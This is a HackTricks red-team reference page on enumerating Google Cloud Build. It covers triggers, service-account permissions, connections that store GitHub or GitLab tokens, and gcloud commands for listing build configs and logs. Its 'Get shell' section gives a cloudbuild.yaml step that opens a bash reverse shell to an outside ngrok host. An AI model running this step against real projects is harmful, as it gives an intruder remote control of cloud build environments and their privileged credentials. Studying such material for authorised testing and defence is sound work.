GCP - Cloud Build Enum

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

Basic Information

Google Cloud Build is a managed CI/CD platform that automates software build and release processes, integrating with source code repositories and supporting a wide range of programming languages. It allows developers to build, test, and deploy code automatically while providing flexibility to customize build steps and workflows.

Each Cloud Build Trigger is related to a Cloud Repository or directly connected with an external repository (Github, Bitbucket and Gitlab).

I couldn't see any way to steal the Github/Bitbucket token from here or from Cloud Repositories because when the repo is downloaded it's accessed via a https://source.cloud.google.com/ URL and Github is not accessed by the client.

Events

The Cloud Build can be triggered if:

  • Push to a branch: Specify the branch

  • Push a new tag: Specify the tag

  • Pull request: Specify the branch that receives the PR

  • Manual Invocation

  • Pub/Sub message: Specify the topic

  • Webhook event: Will expose a HTTPS URL and the request must be authenticated with a secret

Execution

There are 3 options:

  • A yaml/json specifying the commands to execute. Usually: /cloudbuild.yaml

    • Only one that can be specified “inline” in the web console and in the cli

    • Most common option

    • Relevant for unauthenticated access

  • A Dockerfile to build

  • A Buildpack to build

SA Permissions

The Service Account has the cloud-platform scope, so it can use all the privileges. If no SA is specified (like when doing submit) the default SA <proj-number>@cloudbuild.gserviceaccount.com will be used.

By default no permissions are given but it's fairly easy to give it some:

Approvals

It's possible to config a Cloud Build to require approvals for build executions (disabled by default).

PR Approvals

When the trigger is PR because anyone can perform PRs to public repositories it would be very dangerous to just allow the execution of the trigger with any PR. Therefore, by default, the execution will only be automatic for owners and collaborators, and in order to execute the trigger with other users PRs an owner or collaborator must comment /gcbrun.

Connections & Repositories

Connections can be created over:

  • GitHub: It will show an OAuth prompt asking for permissions to get a Github token that will be stored inside the Secret Manager.

  • GitHub Enterprise: It will ask to install a GithubApp. An authentication token from your GitHub Enterprise host will be created and stored in this project as a Secret Manager secret.

  • GitLab / Enterprise: You need to provide the API access token and the Read API access token which will stored in the Secret Manager.

Once a connection is generated, you can use it to link repositories that the Github account has access to.

This option is available through the button:

Note that repositories connected with this method are only available in Triggers using 2nd generation.

Connect a Repository

This is not the same as a connection. This allows different ways to get access to a Github or Bitbucket repository but doesn't generate a connection object, but it does generate a repository object (of 1st generation).

This option is available through the button:

Storage

Sometimes Cloud Build will generate a new storage to store the files for the trigger. This happens for example in the example that GCP offers with:

git clone https://github.com/GoogleCloudBuild/cloud-console-sample-build && \
  cd cloud-console-sample-build && \
  gcloud builds submit --config cloudbuild.yaml --region=global

A Storage bucket called security-devbox_cloudbuild is created to store a .tgz with the files to be used.

Get shell

steps:
  - name: bash
    script: |
      #!/usr/bin/env bash
      bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/12395 0>&1
options:
  logging: CLOUD_LOGGING_ONLY

Install gcloud inside cloud build:

# https://stackoverflow.com/questions/28372328/how-to-install-the-google-cloud-sdk-in-a-docker-image
curl https://dl.google.com/dl/cloudsdk/release/google-cloud-sdk.tar.gz > /tmp/google-cloud-sdk.tar.gz
mkdir -p /usr/local/gcloud 
tar -C /usr/local/gcloud -xvf /tmp/google-cloud-sdk.tar.gz
/usr/local/gcloud/google-cloud-sdk/install.sh

Enumeration

You could find sensitive info in build configs and logs.

# Get configured triggers configurations
gcloud builds triggers list # Check for the words github and bitbucket
gcloud builds triggers describe <trigger-name>

# Get build executions
gcloud builds list
gcloud builds describe <build-uuid> # Get even the build yaml if defined in there
gcloud builds log <build-uuid> # Get build logs

# List all connections of each region
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
    echo "Listing build connections in region: $region"
    connections=("${(@f)$(gcloud builds connections list --region="$region" --format='value(name)')}")
    if [[ ${#connections[@]} -eq 0 ]]; then
        echo "No connections found in region $region."
    else
        for connection in $connections; do
            echo "Describing connection $connection in region $region"
            gcloud builds connections describe "$connection" --region="$region"
            echo "-----------------------------------------"
        done
    fi
    echo "========================================="
done

# List all worker-pools
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
    echo "Listing build worker-pools in region: $region"
    gcloud builds worker-pools list --region="$region"
    echo "-----------------------------------------"
done

Privilege Escalation

pageGCP - Cloudbuild Privesc

Unauthenticated Access

pageGCP - Cloud Build Unauthenticated Enum

Post Exploitation

pageGCP - Cloud Build Post Exploitation
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

Last updated